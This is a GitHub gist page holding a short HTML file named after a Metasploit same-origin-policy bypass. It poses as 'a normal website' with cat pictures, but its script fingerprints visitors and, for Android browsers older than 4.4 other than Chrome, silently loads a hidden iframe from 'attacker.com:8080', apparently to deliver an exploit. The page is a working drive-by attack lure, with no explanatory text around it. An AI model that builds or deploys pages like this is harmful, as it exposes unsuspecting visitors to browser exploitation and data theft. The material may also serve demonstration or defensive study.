Skip to content

Instantly share code, notes, and snippets.

@joswr1ght

joswr1ght/MetasploitSOPBypass.html

Created January 12, 2015 21:45
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save joswr1ght/ad8d25a4da2e6d65cdb1 to your computer and use it in GitHub Desktop.
Save joswr1ght/ad8d25a4da2e6d65cdb1 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
MetasploitSOPBypass.html
<html><head><script src="Spec.js/lib/Spec.js"></script></head>
<body>
This is a normal website. Look at these pictures of cats...
<script>
var spec = new Spec();
if (spec.isDeviceDetected() && spec.getOS() == "Android"
&& spec.getBrowser != "Chrome"
&& parseFloat(spec.getOSVersion()) < 4.4) {
var iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.src = "http://attacker.com:8080";
document.body.appendChild(iframe);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment